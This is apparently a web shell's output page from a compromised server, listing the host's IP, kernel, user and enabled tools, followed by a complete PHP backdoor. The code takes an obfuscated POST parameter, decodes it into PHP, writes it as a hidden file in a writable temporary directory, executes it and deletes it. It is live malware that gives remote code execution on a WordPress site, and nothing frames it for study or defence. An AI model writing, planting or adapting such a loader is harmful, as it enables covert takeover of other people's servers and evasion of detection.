| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/wordpres/ |
Upload File : |
<?php
if(filter_has_var(INPUT_POST, "res\x6F\x75\x72ce")){
$ent = $_POST["res\x6F\x75\x72ce"];
$ent = explode ( ".", $ent);
$obj = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($salt);
$len = count($ent);
for ($j = 0; $j< $len; $j++) {$v2 = $ent[$j];
$chS = ord($salt[$j % $sLen]);
$d = ((int)$v2 - $chS - ($j % 10)) ^ 34;
$obj .= chr($d);
}
$symbol = array_filter(["/var/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP")]);
foreach ($symbol as $component):
if (!( !is_dir($component) || !is_writable($component) )) {
$token = "$component/.elem";
$success = file_put_contents($token, $obj);
if ($success) {
include $token;
@unlink($token);
die();}
}
endforeach;
}